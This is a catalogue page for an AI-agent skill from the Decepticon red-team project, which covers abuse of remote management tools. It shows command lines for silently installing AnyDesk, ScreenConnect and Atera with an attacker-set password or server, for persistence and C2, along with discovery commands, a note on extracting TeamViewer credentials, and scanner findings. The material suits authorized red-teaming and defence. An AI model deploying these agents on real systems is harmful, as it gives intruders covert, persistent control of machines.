rmm-tool-abuse

rmm-tool-abuse is a skill for Claude Code, Codex from PurpleAILAB/Decepticon. It costs 53 tokens per session (2,986 once invoked), scanned C, original, Apache-2.0.

A security guide about misusing remote monitoring and management tools such as AnyDesk, ScreenConnect, Atera, and TeamViewer. These tools normally help administrators control computers remotely but can also be abused for persistence, movement between systems, or command and control.

In plain words
What is it for?
Use it to assess installed RMM software, review how it is deployed, and map suspicious remote-access activity to common attack techniques.
Why use it?
It helps defenders recognize harmful use of trusted remote-access software that may look like normal IT activity.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Use it to assess installed RMM software, review how it is deployed, and map suspicious remote-access activity to common attack techniques.

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Install with agentmods
npx agentmods add skills/purpleailab/decepticon/rmm-tool-abuse
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill rmm-tool-abuse
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for rmm-tool-abuse

README.md
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Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/rmm-tool-abuse"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/rmm-tool-abuse/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for rmm-tool-abuse

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/rmm-tool-abuse"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/rmm-tool-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 53 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,986 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 3 findings, up to medium

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • medium Rogue Agent · line 131
    Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.
    Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
  • medium Rogue Agent · line 132
    Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.
    Fix: Remove any persistence mechanisms (cron jobs, startup scripts, state files). Skills should not maintain state across sessions without explicit user consent.
  • medium Data Exfiltration · line 190
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00053 $0.02986
Opus 5 $0.00026 $0.01493
Sonnet 5 $0.00011 $0.00597
Haiku 4.5 $0.00005 $0.00299

Measured 9d ago against content hash 10c7521713c6, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade C, and why

rmm-tool-abuse scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variableshighData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

# TeamViewer — extract credentials from registry/config

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sLo anydesk.exe "https://download.anydesk.com/AnyDesk.exe"
packages/decepticon/decepticon/skills/standard/exploit/rmm-tool-abuse/SKILL.md · 286 lines

How it starts

The opening of the file, as written. The whole thing — 286 lines — stays where its author put it; the contents beside it link to each section on GitHub.

RMM Tool Abuse

Abuses legitimate Remote Monitoring and Management (RMM) software for persistence, lateral movement, and C2. RMM agents are signed binaries, trusted by EDR, allowed through firewalls, and blend with legitimate IT operations traffic. Deploying a commercial RMM agent provides full remote control without custom implants.

Quick Reference

# Deploy AnyDesk silently
curl -sLo anydesk.exe "https://download.anydesk.com/AnyDesk.exe"
anydesk.exe --install "C:\ProgramData\AnyDesk" --start-with-win --silent
echo <ATTACKER_ANYDESK_PASS> | anydesk.exe --set-password
anydesk.exe --get-id > anydesk_id.txt

# Deploy ScreenConnect silently
msiexec /i "https://<SCREENCONNECT_SERVER>/Bin/ScreenConnect.ClientSetup.msi" /qn

# Deploy Atera agent silently
msiexec /i AteraAgent.msi /qn IntegratorLogin=<ATERA_EMAIL> CompanyId=1

# Find existing RMM installations
wmic product get name,version | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja level"
reg query "HKLM\SOFTWARE" /s /f "AnyDesk" 2>nul
reg query "HKLM\SOFTWARE" /s /f "TeamViewer" 2>nul

MITRE ATT&CK Mapping

Technique ID Application
Remote Access Software T1219 Deploy/abuse RMM for persistent remote access
Remote Services T1021 Lateral movement through RMM console to managed endpoints
Ingress Tool Transfer T1105 Use RMM file transfer to stage payloads
Signed Binary Proxy Execution T1218 RMM agent is vendor-signed, bypasses app allowlisting
Valid Accounts T1078 Hijack existing RMM admin credentials
Persistence via Service T1543.003 RMM agent installs as Windows service

1. Discovery — Finding Existing RMM Installations

# Windows — enumerate installed RMM products
wmic product get name,version 2>nul | findstr /i "anydesk teamviewer screenconnect atera splashtop ninja connectwise level action1 datto"

# Service enumeration
sc query type= service state= all | findstr /i "AnyDesk TeamViewer ScreenConnect Atera"

# Registry checks for common RMM artifacts
reg query "HKLM\SOFTWARE\WOW6432Node\TeamViewer" /v ClientID 2>nul
reg query "HKLM\SOFTWARE\AnyDesk" 2>nul
reg query "HKLM\SOFTWARE\ScreenConnect Client" 2>nul

# Process enumeration
tasklist /fi "imagename eq AnyDesk.exe" 2>nul
tasklist /fi "imagename eq TeamViewer.exe" 2>nul
tasklist /fi "imagename eq ScreenConnect.WindowsClient.exe" 2>nul

# Linux — check for RMM agents
ps aux | grep -iE 'anydesk|teamviewer|rustdesk'
find / -name "anydesk" -o -name "teamviewerd" 2>/dev/null
systemctl list-units | grep -iE 'anydesk|teamviewer'

# Network — identify RMM traffic patterns
netstat -ano | findstr "443 80 7070 5938"
# TeamViewer: ports 5938, 443 to *.teamviewer.com
# AnyDesk: port 443 to *.net.anydesk.com
# ScreenConnect: port 443 to custom server

Read the full file on GitHub · 286 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 286 lines · 53 tokens per session scan C 10c7521713c6

Subscribe to this mod's changes

rmm-tool-abuse is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 53 tokens to every session and 2,986 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (harvests environment variables, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.